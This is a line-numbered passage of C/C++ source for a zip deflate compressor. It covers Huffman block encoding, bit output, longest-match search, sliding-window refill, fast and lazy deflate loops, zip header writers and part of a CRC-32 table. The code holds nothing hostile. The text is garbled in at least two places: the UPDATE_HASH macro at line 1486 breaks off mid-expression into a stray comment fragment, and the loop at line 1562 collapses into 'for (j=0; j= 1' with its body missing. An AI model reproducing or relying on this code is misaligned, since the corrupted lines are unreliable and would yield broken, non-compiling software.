1287 | for (dcode = 0; dcode < D_CODES; dcode++) {
1288 | out_length += (ulg)state.ts.dyn_dtree[dcode].fc.freq*(5L+extra_dbits[dcode]);
1289 | }
1290 | out_length >>= 3;
1291 | Trace("\nlast_lit %u, last_dist %u, in %ld, out ~%ld(%ld%%) ",
1292 | state.ts.last_lit, state.ts.last_dist, in_length, out_length,
1293 | 100L - out_length*100L/in_length);
1294 | if (state.ts.last_dist < state.ts.last_lit/2 && out_length < in_length/2) return 1;
1295 | }
1296 | return (state.ts.last_lit == LIT_BUFSIZE-1 || state.ts.last_dist == DIST_BUFSIZE);
1297 | /* We avoid equality with LIT_BUFSIZE because of wraparound at 64K
1298 | * on 16 bit machines and because stored blocks are restricted to
1299 | * 64K-1 bytes.
1300 | */
1301 | }
1302 |
1303 | /* ===========================================================================
1304 | * Send the block data compressed using the given Huffman trees
1305 | */
1306 | void compress_block(TState &state,ct_data *ltree, ct_data *dtree)
1307 | {
1308 | unsigned dist; /* distance of matched string */
1309 | int lc; /* match length or unmatched char (if dist == 0) */
1310 | unsigned lx = 0; /* running index in l_buf */
1311 | unsigned dx = 0; /* running index in d_buf */
1312 | unsigned fx = 0; /* running index in flag_buf */
1313 | uch flag = 0; /* current flags */
1314 | unsigned code; /* the code to send */
1315 | int extra; /* number of extra bits to send */
1316 |
1317 | if (state.ts.last_lit != 0) do {
1318 | if ((lx & 7) == 0) flag = state.ts.flag_buf[fx++];
1319 | lc = state.ts.l_buf[lx++];
1320 | if ((flag & 1) == 0) {
1321 | send_code(state,lc, ltree); /* send a literal byte */
1322 | } else {
1323 | /* Here, lc is the match length - MIN_MATCH */
1324 | code = state.ts.length_code[lc];
1325 | send_code(state,code+LITERALS+1, ltree); /* send the length code */
1326 | extra = extra_lbits[code];
1327 | if (extra != 0) {
1328 | lc -= state.ts.base_length[code];
1329 | send_bits(state,lc, extra); /* send the extra length bits */
1330 | }
1331 | dist = state.ts.d_buf[dx++];
1332 | /* Here, dist is the match distance - 1 */
1333 | code = d_code(dist);
1334 | Assert(state,code < D_CODES, "bad d_code");
1335 |
1336 | send_code(state,code, dtree); /* send the distance code */
1337 | extra = extra_dbits[code];
1338 | if (extra != 0) {
1339 | dist -= state.ts.base_dist[code];
1340 | send_bits(state,dist, extra); /* send the extra distance bits */
1341 | }
1342 | } /* literal or match pair ? */
1343 | flag >>= 1;
1344 | } while (lx < state.ts.last_lit);
1345 |
1346 | send_code(state,END_BLOCK, ltree);
1347 | }
1348 |
1349 | /* ===========================================================================
1350 | * Set the file type to ASCII or BINARY, using a crude approximation:
1351 | * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise.
1352 | * IN assertion: the fields freq of dyn_ltree are set and the total of all
1353 | * frequencies does not exceed 64K (to fit in an int on 16 bit machines).
1354 | */
1355 | void set_file_type(TState &state)
1356 | {
1357 | int n = 0;
1358 | unsigned ascii_freq = 0;
1359 | unsigned bin_freq = 0;
1360 | while (n < 7) bin_freq += state.ts.dyn_ltree[n++].fc.freq;
1361 | while (n < 128) ascii_freq += state.ts.dyn_ltree[n++].fc.freq;
1362 | while (n < LITERALS) bin_freq += state.ts.dyn_ltree[n++].fc.freq;
1363 | *state.ts.file_type = (ush)(bin_freq > (ascii_freq >> 2) ? BINARY : ASCII);
1364 | }
1365 |
1366 |
1367 | /* ===========================================================================
1368 | * Initialize the bit string routines.
1369 | */
1370 | void bi_init (TState &state,char *tgt_buf, unsigned tgt_size, int flsh_allowed)
1371 | {
1372 | state.bs.out_buf = tgt_buf;
1373 | state.bs.out_size = tgt_size;
1374 | state.bs.out_offset = 0;
1375 | state.bs.flush_flg = flsh_allowed;
1376 |
1377 | state.bs.bi_buf = 0;
1378 | state.bs.bi_valid = 0;
1379 | state.bs.bits_sent = 0L;
1380 | }
1381 |
1382 | /* ===========================================================================
1383 | * Send a value on a given number of bits.
1384 | * IN assertion: length <= 16 and value fits in length bits.
1385 | */
1386 | void send_bits(TState &state,int value, int length)
1387 | {
1388 | Assert(state,length > 0 && length <= 15, "invalid length");
1389 | state.bs.bits_sent += (ulg)length;
1390 | /* If not enough room in bi_buf, use (bi_valid) bits from bi_buf and
1391 | * (Buf_size - bi_valid) bits from value to flush the filled bi_buf,
1392 | * then fill in the rest of (value), leaving (length - (Buf_size-bi_valid))
1393 | * unused bits in bi_buf.
1394 | */
1395 | state.bs.bi_buf |= (value << state.bs.bi_valid);
1396 | state.bs.bi_valid += length;
1397 | if (state.bs.bi_valid > (int)Buf_size) {
1398 | PUTSHORT(state,state.bs.bi_buf);
1399 | state.bs.bi_valid -= Buf_size;
1400 | state.bs.bi_buf = (unsigned)value >> (length - state.bs.bi_valid);
1401 | }
1402 | }
1403 |
1404 | /* ===========================================================================
1405 | * Reverse the first len bits of a code, using straightforward code (a faster
1406 | * method would use a table)
1407 | * IN assertion: 1 <= len <= 15
1408 | */
1409 | unsigned bi_reverse(unsigned code, int len)
1410 | {
1411 | register unsigned res = 0;
1412 | do {
1413 | res |= code & 1;
1414 | code >>= 1, res <<= 1;
1415 | } while (--len > 0);
1416 | return res >> 1;
1417 | }
1418 |
1419 | /* ===========================================================================
1420 | * Write out any remaining bits in an incomplete byte.
1421 | */
1422 | void bi_windup(TState &state)
1423 | {
1424 | if (state.bs.bi_valid > 8) {
1425 | PUTSHORT(state,state.bs.bi_buf);
1426 | } else if (state.bs.bi_valid > 0) {
1427 | PUTBYTE(state,state.bs.bi_buf);
1428 | }
1429 | if (state.bs.flush_flg) {
1430 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset);
1431 | }
1432 | state.bs.bi_buf = 0;
1433 | state.bs.bi_valid = 0;
1434 | state.bs.bits_sent = (state.bs.bits_sent+7) & ~7;
1435 | }
1436 |
1437 | /* ===========================================================================
1438 | * Copy a stored block to the zip file, storing first the length and its
1439 | * one's complement if requested.
1440 | */
1441 | void copy_block(TState &state, char *block, unsigned len, int header)
1442 | {
1443 | bi_windup(state); /* align on byte boundary */
1444 |
1445 | if (header) {
1446 | PUTSHORT(state,(ush)len);
1447 | PUTSHORT(state,(ush)~len);
1448 | state.bs.bits_sent += 2*16;
1449 | }
1450 | if (state.bs.flush_flg) {
1451 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset);
1452 | state.bs.out_offset = len;
1453 | state.flush_outbuf(state.param,block, &state.bs.out_offset);
1454 | } else if (state.bs.out_offset + len > state.bs.out_size) {
1455 | Assert(state,false,"output buffer too small for in-memory compression");
1456 | } else {
1457 | memcpy(state.bs.out_buf + state.bs.out_offset, block, len);
1458 | state.bs.out_offset += len;
1459 | }
1460 | state.bs.bits_sent += (ulg)len<<3;
1461 | }
1462 |
1463 |
1464 |
1465 |
1466 |
1467 |
1468 |
1469 |
1470 | /* ===========================================================================
1471 | * Prototypes for functions.
1472 | */
1473 |
1474 | void fill_window (TState &state);
1475 | ulg deflate_fast (TState &state);
1476 |
1477 | int longest_match (TState &state,IPos cur_match);
1478 |
1479 |
1480 | /* ===========================================================================
1481 | * Update a hash value with the given input byte
1482 | * IN assertion: all calls to to UPDATE_HASH are made with consecutive
1483 | * input characters, so that a running hash key can be computed from the
1484 | * previous key instead of complete recalculation each time.
1485 | */
1486 | #define UPDATE_HASH(h,c) (h = (((h)< 0 if the input file is already read or
1505 | * mmap'ed in the window[] array, 0 otherwise. In the first case,
1506 | * window_size is sufficient to contain the whole input file plus
1507 | * MIN_LOOKAHEAD bytes (to avoid referencing memory beyond the end
1508 | * of window[] when looking for matches towards the end).
1509 | */
1510 | void lm_init (TState &state, int pack_level, ush *flags)
1511 | {
1512 | register unsigned j;
1513 |
1514 | Assert(state,pack_level>=1 && pack_level<=8,"bad pack level");
1515 |
1516 | /* Do not slide the window if the whole input is already in memory
1517 | * (window_size > 0)
1518 | */
1519 | state.ds.sliding = 0;
1520 | if (state.ds.window_size == 0L) {
1521 | state.ds.sliding = 1;
1522 | state.ds.window_size = (ulg)2L*WSIZE;
1523 | }
1524 |
1525 | /* Initialize the hash table (avoiding 64K overflow for 16 bit systems).
1526 | * prev[] will be initialized on the fly.
1527 | */
1528 | state.ds.head[HASH_SIZE-1] = NIL;
1529 | memset((char*)state.ds.head, NIL, (unsigned)(HASH_SIZE-1)*sizeof(*state.ds.head));
1530 |
1531 | /* Set the default configuration parameters:
1532 | */
1533 | state.ds.max_lazy_match = configuration_table[pack_level].max_lazy;
1534 | state.ds.good_match = configuration_table[pack_level].good_length;
1535 | state.ds.nice_match = configuration_table[pack_level].nice_length;
1536 | state.ds.max_chain_length = configuration_table[pack_level].max_chain;
1537 | if (pack_level <= 2) {
1538 | *flags |= FAST;
1539 | } else if (pack_level >= 8) {
1540 | *flags |= SLOW;
1541 | }
1542 | /* ??? reduce max_chain_length for binary files */
1543 |
1544 | state.ds.strstart = 0;
1545 | state.ds.block_start = 0L;
1546 |
1547 | j = WSIZE;
1548 | j <<= 1; // Can read 64K in one step
1549 | state.ds.lookahead = state.readfunc(state, (char*)state.ds.window, j);
1550 |
1551 | if (state.ds.lookahead == 0 || state.ds.lookahead == (unsigned)EOF) {
1552 | state.ds.eofile = 1, state.ds.lookahead = 0;
1553 | return;
1554 | }
1555 | state.ds.eofile = 0;
1556 | /* Make sure that we always have enough lookahead. This is important
1557 | * if input comes from a device such as a tty.
1558 | */
1559 | if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
1560 |
1561 | state.ds.ins_h = 0;
1562 | for (j=0; j= 1
1576 | */
1577 | // For 80x86 and 680x0 and ARM, an optimized version is in match.asm or
1578 | // match.S. The code is functionally equivalent, so you can use the C version
1579 | // if desired. Which I do so desire!
1580 | int longest_match(TState &state,IPos cur_match)
1581 | {
1582 | unsigned chain_length = state.ds.max_chain_length; /* max hash chain length */
1583 | register uch far *scan = state.ds.window + state.ds.strstart; /* current string */
1584 | register uch far *match; /* matched string */
1585 | register int len; /* length of current match */
1586 | int best_len = state.ds.prev_length; /* best match length so far */
1587 | IPos limit = state.ds.strstart > (IPos)MAX_DIST ? state.ds.strstart - (IPos)MAX_DIST : NIL;
1588 | /* Stop when cur_match becomes <= limit. To simplify the code,
1589 | * we prevent matches with the string of window index 0.
1590 | */
1591 |
1592 | // The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.
1593 | // It is easy to get rid of this optimization if necessary.
1594 | Assert(state,HASH_BITS>=8 && MAX_MATCH==258,"Code too clever");
1595 |
1596 |
1597 |
1598 | register uch far *strend = state.ds.window + state.ds.strstart + MAX_MATCH;
1599 | register uch scan_end1 = scan[best_len-1];
1600 | register uch scan_end = scan[best_len];
1601 |
1602 | /* Do not waste too much time if we already have a good match: */
1603 | if (state.ds.prev_length >= state.ds.good_match) {
1604 | chain_length >>= 2;
1605 | }
1606 |
1607 | Assert(state,state.ds.strstart <= state.ds.window_size-MIN_LOOKAHEAD, "insufficient lookahead");
1608 |
1609 | do {
1610 | Assert(state,cur_match < state.ds.strstart, "no future");
1611 | match = state.ds.window + cur_match;
1612 |
1613 | /* Skip to next match if the match length cannot increase
1614 | * or if the match length is less than 2:
1615 | */
1616 | if (match[best_len] != scan_end ||
1617 | match[best_len-1] != scan_end1 ||
1618 | *match != *scan ||
1619 | *++match != scan[1]) continue;
1620 |
1621 | /* The check at best_len-1 can be removed because it will be made
1622 | * again later. (This heuristic is not always a win.)
1623 | * It is not necessary to compare scan[2] and match[2] since they
1624 | * are always equal when the other bytes match, given that
1625 | * the hash keys are equal and that HASH_BITS >= 8.
1626 | */
1627 | scan += 2, match++;
1628 |
1629 | /* We check for insufficient lookahead only every 8th comparison;
1630 | * the 256th check will be made at strstart+258.
1631 | */
1632 | do {
1633 | } while (*++scan == *++match && *++scan == *++match &&
1634 | *++scan == *++match && *++scan == *++match &&
1635 | *++scan == *++match && *++scan == *++match &&
1636 | *++scan == *++match && *++scan == *++match &&
1637 | scan < strend);
1638 |
1639 | Assert(state,scan <= state.ds.window+(unsigned)(state.ds.window_size-1), "wild scan");
1640 |
1641 | len = MAX_MATCH - (int)(strend - scan);
1642 | scan = strend - MAX_MATCH;
1643 |
1644 |
1645 | if (len > best_len) {
1646 | state.ds.match_start = cur_match;
1647 | best_len = len;
1648 | if (len >= state.ds.nice_match) break;
1649 | scan_end1 = scan[best_len-1];
1650 | scan_end = scan[best_len];
1651 | }
1652 | } while ((cur_match = state.ds.prev[cur_match & WMASK]) > limit
1653 | && --chain_length != 0);
1654 |
1655 | return best_len;
1656 | }
1657 |
1658 |
1659 |
1660 | #define check_match(state,start, match, length)
1661 | // or alternatively...
1662 | //void check_match(TState &state,IPos start, IPos match, int length)
1663 | //{ // check that the match is indeed a match
1664 | // if (memcmp((char*)state.ds.window + match,
1665 | // (char*)state.ds.window + start, length) != EQUAL) {
1666 | // fprintf(stderr,
1667 | // " start %d, match %d, length %d\n",
1668 | // start, match, length);
1669 | // error("invalid match");
1670 | // }
1671 | // if (state.verbose > 1) {
1672 | // fprintf(stderr,"\\[%d,%d]", start-match, length);
1673 | // do { fprintf(stdout,"%c",state.ds.window[start++]); } while (--length != 0);
1674 | // }
1675 | //}
1676 |
1677 | /* ===========================================================================
1678 | * Fill the window when the lookahead becomes insufficient.
1679 | * Updates strstart and lookahead, and sets eofile if end of input file.
1680 | *
1681 | * IN assertion: lookahead < MIN_LOOKAHEAD && strstart + lookahead > 0
1682 | * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD
1683 | * At least one byte has been read, or eofile is set; file reads are
1684 | * performed for at least two bytes (required for the translate_eol option).
1685 | */
1686 | void fill_window(TState &state)
1687 | {
1688 | register unsigned n, m;
1689 | unsigned more; /* Amount of free space at the end of the window. */
1690 |
1691 | do {
1692 | more = (unsigned)(state.ds.window_size - (ulg)state.ds.lookahead - (ulg)state.ds.strstart);
1693 |
1694 | /* If the window is almost full and there is insufficient lookahead,
1695 | * move the upper half to the lower one to make room in the upper half.
1696 | */
1697 | if (more == (unsigned)EOF) {
1698 | /* Very unlikely, but possible on 16 bit machine if strstart == 0
1699 | * and lookahead == 1 (input done one byte at time)
1700 | */
1701 | more--;
1702 |
1703 | /* For MMAP or BIG_MEM, the whole input file is already in memory so
1704 | * we must not perform sliding. We must however call (*read_buf)() in
1705 | * order to compute the crc, update lookahead and possibly set eofile.
1706 | */
1707 | } else if (state.ds.strstart >= WSIZE+MAX_DIST && state.ds.sliding) {
1708 |
1709 | /* By the IN assertion, the window is not empty so we can't confuse
1710 | * more == 0 with more == 64K on a 16 bit machine.
1711 | */
1712 | memcpy((char*)state.ds.window, (char*)state.ds.window+WSIZE, (unsigned)WSIZE);
1713 | state.ds.match_start -= WSIZE;
1714 | state.ds.strstart -= WSIZE; /* we now have strstart >= MAX_DIST: */
1715 |
1716 | state.ds.block_start -= (long) WSIZE;
1717 |
1718 | for (n = 0; n < HASH_SIZE; n++) {
1719 | m = state.ds.head[n];
1720 | state.ds.head[n] = (Pos)(m >= WSIZE ? m-WSIZE : NIL);
1721 | }
1722 | for (n = 0; n < WSIZE; n++) {
1723 | m = state.ds.prev[n];
1724 | state.ds.prev[n] = (Pos)(m >= WSIZE ? m-WSIZE : NIL);
1725 | /* If n is not on any hash chain, prev[n] is garbage but
1726 | * its value will never be used.
1727 | */
1728 | }
1729 | more += WSIZE;
1730 | }
1731 | if (state.ds.eofile) return;
1732 |
1733 | /* If there was no sliding:
1734 | * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&
1735 | * more == window_size - lookahead - strstart
1736 | * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)
1737 | * => more >= window_size - 2*WSIZE + 2
1738 | * In the MMAP or BIG_MEM case (not yet supported in gzip),
1739 | * window_size == input_size + MIN_LOOKAHEAD &&
1740 | * strstart + lookahead <= input_size => more >= MIN_LOOKAHEAD.
1741 | * Otherwise, window_size == 2*WSIZE so more >= 2.
1742 | * If there was sliding, more >= WSIZE. So in all cases, more >= 2.
1743 | */
1744 | Assert(state,more >= 2, "more < 2");
1745 |
1746 | n = state.readfunc(state, (char*)state.ds.window+state.ds.strstart+state.ds.lookahead, more);
1747 |
1748 | if (n == 0 || n == (unsigned)EOF) {
1749 | state.ds.eofile = 1;
1750 | } else {
1751 | state.ds.lookahead += n;
1752 | }
1753 | } while (state.ds.lookahead < MIN_LOOKAHEAD && !state.ds.eofile);
1754 | }
1755 |
1756 | /* ===========================================================================
1757 | * Flush the current block, with given end-of-file flag.
1758 | * IN assertion: strstart is set to the end of the current match.
1759 | */
1760 | #define FLUSH_BLOCK(state,eof) \
1761 | flush_block(state,state.ds.block_start >= 0L ? (char*)&state.ds.window[(unsigned)state.ds.block_start] : \
1762 | (char*)NULL, (long)state.ds.strstart - state.ds.block_start, (eof))
1763 |
1764 | /* ===========================================================================
1765 | * Processes a new input file and return its compressed length. This
1766 | * function does not perform lazy evaluation of matches and inserts
1767 | * new strings in the dictionary only for unmatched strings or for short
1768 | * matches. It is used only for the fast compression options.
1769 | */
1770 | ulg deflate_fast(TState &state)
1771 | {
1772 | IPos hash_head = NIL; /* head of the hash chain */
1773 | int flush; /* set if current block must be flushed */
1774 | unsigned match_length = 0; /* length of best match */
1775 |
1776 | state.ds.prev_length = MIN_MATCH-1;
1777 | while (state.ds.lookahead != 0) {
1778 | /* Insert the string window[strstart .. strstart+2] in the
1779 | * dictionary, and set hash_head to the head of the hash chain:
1780 | */
1781 | if (state.ds.lookahead >= MIN_MATCH)
1782 | INSERT_STRING(state.ds.strstart, hash_head);
1783 |
1784 | /* Find the longest match, discarding those <= prev_length.
1785 | * At this point we have always match_length < MIN_MATCH
1786 | */
1787 | if (hash_head != NIL && state.ds.strstart - hash_head <= MAX_DIST) {
1788 | /* To simplify the code, we prevent matches with the string
1789 | * of window index 0 (in particular we have to avoid a match
1790 | * of the string with itself at the start of the input file).
1791 | */
1792 | /* Do not look for matches beyond the end of the input.
1793 | * This is necessary to make deflate deterministic.
1794 | */
1795 | if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead;
1796 | match_length = longest_match (state,hash_head);
1797 | /* longest_match() sets match_start */
1798 | if (match_length > state.ds.lookahead) match_length = state.ds.lookahead;
1799 | }
1800 | if (match_length >= MIN_MATCH) {
1801 | check_match(state,state.ds.strstart, state.ds.match_start, match_length);
1802 |
1803 | flush = ct_tally(state,state.ds.strstart-state.ds.match_start, match_length - MIN_MATCH);
1804 |
1805 | state.ds.lookahead -= match_length;
1806 |
1807 | /* Insert new strings in the hash table only if the match length
1808 | * is not too large. This saves time but degrades compression.
1809 | */
1810 | if (match_length <= state.ds.max_insert_length
1811 | && state.ds.lookahead >= MIN_MATCH) {
1812 | match_length--; /* string at strstart already in hash table */
1813 | do {
1814 | state.ds.strstart++;
1815 | INSERT_STRING(state.ds.strstart, hash_head);
1816 | /* strstart never exceeds WSIZE-MAX_MATCH, so there are
1817 | * always MIN_MATCH bytes ahead.
1818 | */
1819 | } while (--match_length != 0);
1820 | state.ds.strstart++;
1821 | } else {
1822 | state.ds.strstart += match_length;
1823 | match_length = 0;
1824 | state.ds.ins_h = state.ds.window[state.ds.strstart];
1825 | UPDATE_HASH(state.ds.ins_h, state.ds.window[state.ds.strstart+1]);
1826 | Assert(state,MIN_MATCH==3,"Call UPDATE_HASH() MIN_MATCH-3 more times");
1827 | }
1828 | } else {
1829 | /* No match, output a literal byte */
1830 | flush = ct_tally (state,0, state.ds.window[state.ds.strstart]);
1831 | state.ds.lookahead--;
1832 | state.ds.strstart++;
1833 | }
1834 | if (flush) FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart;
1835 |
1836 | /* Make sure that we always have enough lookahead, except
1837 | * at the end of the input file. We need MAX_MATCH bytes
1838 | * for the next match, plus MIN_MATCH bytes to insert the
1839 | * string following the next match.
1840 | */
1841 | if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
1842 | }
1843 | return FLUSH_BLOCK(state,1); /* eof */
1844 | }
1845 |
1846 | /* ===========================================================================
1847 | * Same as above, but achieves better compression. We use a lazy
1848 | * evaluation for matches: a match is finally adopted only if there is
1849 | * no better match at the next window position.
1850 | */
1851 | ulg deflate(TState &state)
1852 | {
1853 | IPos hash_head = NIL; /* head of hash chain */
1854 | IPos prev_match; /* previous match */
1855 | int flush; /* set if current block must be flushed */
1856 | int match_available = 0; /* set if previous match exists */
1857 | register unsigned match_length = MIN_MATCH-1; /* length of best match */
1858 |
1859 | if (state.level <= 3) return deflate_fast(state); /* optimized for speed */
1860 |
1861 | /* Process the input block. */
1862 | while (state.ds.lookahead != 0) {
1863 | /* Insert the string window[strstart .. strstart+2] in the
1864 | * dictionary, and set hash_head to the head of the hash chain:
1865 | */
1866 | if (state.ds.lookahead >= MIN_MATCH)
1867 | INSERT_STRING(state.ds.strstart, hash_head);
1868 |
1869 | /* Find the longest match, discarding those <= prev_length.
1870 | */
1871 | state.ds.prev_length = match_length, prev_match = state.ds.match_start;
1872 | match_length = MIN_MATCH-1;
1873 |
1874 | if (hash_head != NIL && state.ds.prev_length < state.ds.max_lazy_match &&
1875 | state.ds.strstart - hash_head <= MAX_DIST) {
1876 | /* To simplify the code, we prevent matches with the string
1877 | * of window index 0 (in particular we have to avoid a match
1878 | * of the string with itself at the start of the input file).
1879 | */
1880 | /* Do not look for matches beyond the end of the input.
1881 | * This is necessary to make deflate deterministic.
1882 | */
1883 | if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead;
1884 | match_length = longest_match (state,hash_head);
1885 | /* longest_match() sets match_start */
1886 | if (match_length > state.ds.lookahead) match_length = state.ds.lookahead;
1887 |
1888 | /* Ignore a length 3 match if it is too distant: */
1889 | if (match_length == MIN_MATCH && state.ds.strstart-state.ds.match_start > TOO_FAR){
1890 | /* If prev_match is also MIN_MATCH, match_start is garbage
1891 | * but we will ignore the current match anyway.
1892 | */
1893 | match_length = MIN_MATCH-1;
1894 | }
1895 | }
1896 | /* If there was a match at the previous step and the current
1897 | * match is not better, output the previous match:
1898 | */
1899 | if (state.ds.prev_length >= MIN_MATCH && match_length <= state.ds.prev_length) {
1900 | unsigned max_insert = state.ds.strstart + state.ds.lookahead - MIN_MATCH;
1901 | check_match(state,state.ds.strstart-1, prev_match, state.ds.prev_length);
1902 | flush = ct_tally(state,state.ds.strstart-1-prev_match, state.ds.prev_length - MIN_MATCH);
1903 |
1904 | /* Insert in hash table all strings up to the end of the match.
1905 | * strstart-1 and strstart are already inserted.
1906 | */
1907 | state.ds.lookahead -= state.ds.prev_length-1;
1908 | state.ds.prev_length -= 2;
1909 | do {
1910 | if (++state.ds.strstart <= max_insert) {
1911 | INSERT_STRING(state.ds.strstart, hash_head);
1912 | /* strstart never exceeds WSIZE-MAX_MATCH, so there are
1913 | * always MIN_MATCH bytes ahead.
1914 | */
1915 | }
1916 | } while (--state.ds.prev_length != 0);
1917 | state.ds.strstart++;
1918 | match_available = 0;
1919 | match_length = MIN_MATCH-1;
1920 |
1921 | if (flush) FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart;
1922 |
1923 | } else if (match_available) {
1924 | /* If there was no match at the previous position, output a
1925 | * single literal. If there was a match but the current match
1926 | * is longer, truncate the previous match to a single literal.
1927 | */
1928 | if (ct_tally (state,0, state.ds.window[state.ds.strstart-1])) {
1929 | FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart;
1930 | }
1931 | state.ds.strstart++;
1932 | state.ds.lookahead--;
1933 | } else {
1934 | /* There is no previous match to compare with, wait for
1935 | * the next step to decide.
1936 | */
1937 | match_available = 1;
1938 | state.ds.strstart++;
1939 | state.ds.lookahead--;
1940 | }
1941 | // Assert(state,strstart <= isize && lookahead <= isize, "a bit too far");
1942 |
1943 | /* Make sure that we always have enough lookahead, except
1944 | * at the end of the input file. We need MAX_MATCH bytes
1945 | * for the next match, plus MIN_MATCH bytes to insert the
1946 | * string following the next match.
1947 | */
1948 | if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
1949 | }
1950 | if (match_available) ct_tally (state,0, state.ds.window[state.ds.strstart-1]);
1951 |
1952 | return FLUSH_BLOCK(state,1); /* eof */
1953 | }
1954 |
1955 |
1956 |
1957 |
1958 |
1959 |
1960 |
1961 |
1962 |
1963 |
1964 |
1965 |
1966 | int putlocal(struct zlist far *z, WRITEFUNC wfunc,void *param)
1967 | { // Write a local header described by *z to file *f. Return a ZE_ error code.
1968 | PUTLG(LOCSIG, f);
1969 | PUTSH(z->ver, f);
1970 | PUTSH(z->lflg, f);
1971 | PUTSH(z->how, f);
1972 | PUTLG(z->tim, f);
1973 | PUTLG(z->crc, f);
1974 | PUTLG(z->siz, f);
1975 | PUTLG(z->len, f);
1976 | PUTSH(z->nam, f);
1977 | PUTSH(z->ext, f);
1978 | size_t res = (size_t)wfunc(param, z->iname, (unsigned int)z->nam);
1979 | if (res!=z->nam) return ZE_TEMP;
1980 | if (z->ext)
1981 | { res = (size_t)wfunc(param, z->extra, (unsigned int)z->ext);
1982 | if (res!=z->ext) return ZE_TEMP;
1983 | }
1984 | return ZE_OK;
1985 | }
1986 |
1987 | int putextended(struct zlist far *z, WRITEFUNC wfunc, void *param)
1988 | { // Write an extended local header described by *z to file *f. Returns a ZE_ code
1989 | PUTLG(EXTLOCSIG, f);
1990 | PUTLG(z->crc, f);
1991 | PUTLG(z->siz, f);
1992 | PUTLG(z->len, f);
1993 | return ZE_OK;
1994 | }
1995 |
1996 | int putcentral(struct zlist far *z, WRITEFUNC wfunc, void *param)
1997 | { // Write a central header entry of *z to file *f. Returns a ZE_ code.
1998 | PUTLG(CENSIG, f);
1999 | PUTSH(z->vem, f);
2000 | PUTSH(z->ver, f);
2001 | PUTSH(z->flg, f);
2002 | PUTSH(z->how, f);
2003 | PUTLG(z->tim, f);
2004 | PUTLG(z->crc, f);
2005 | PUTLG(z->siz, f);
2006 | PUTLG(z->len, f);
2007 | PUTSH(z->nam, f);
2008 | PUTSH(z->cext, f);
2009 | PUTSH(z->com, f);
2010 | PUTSH(z->dsk, f);
2011 | PUTSH(z->att, f);
2012 | PUTLG(z->atx, f);
2013 | PUTLG(z->off, f);
2014 | if ((size_t)wfunc(param, z->iname, (unsigned int)z->nam) != z->nam ||
2015 | (z->cext && (size_t)wfunc(param, z->cextra, (unsigned int)z->cext) != z->cext) ||
2016 | (z->com && (size_t)wfunc(param, z->comment, (unsigned int)z->com) != z->com))
2017 | return ZE_TEMP;
2018 | return ZE_OK;
2019 | }
2020 |
2021 |
2022 | int putend(int n, ulg s, ulg c, extent m, char *z, WRITEFUNC wfunc, void *param)
2023 | { // write the end of the central-directory-data to file *f.
2024 | PUTLG(ENDSIG, f);
2025 | PUTSH(0, f);
2026 | PUTSH(0, f);
2027 | PUTSH(n, f);
2028 | PUTSH(n, f);
2029 | PUTLG(s, f);
2030 | PUTLG(c, f);
2031 | PUTSH(m, f);
2032 | // Write the comment, if any
2033 | if (m && wfunc(param, z, (unsigned int)m) != m) return ZE_TEMP;
2034 | return ZE_OK;
2035 | }
2036 |
2037 |
2038 |
2039 |
2040 |
2041 |
2042 | const ulg crc_table[256] = {
2043 | 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
2044 | 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
2045 | 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
2046 | 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
2047 | 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
2048 | 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
2049 | 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
2050 | 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
2051 | 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
2052 | 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
2053 | 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
2054 | 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
2055 | 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
2056 | 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
2057 | 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
2058 | 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
2059 | 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
2060 | 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
2061 | 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
2062 | 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
2063 | 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
2064 | 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
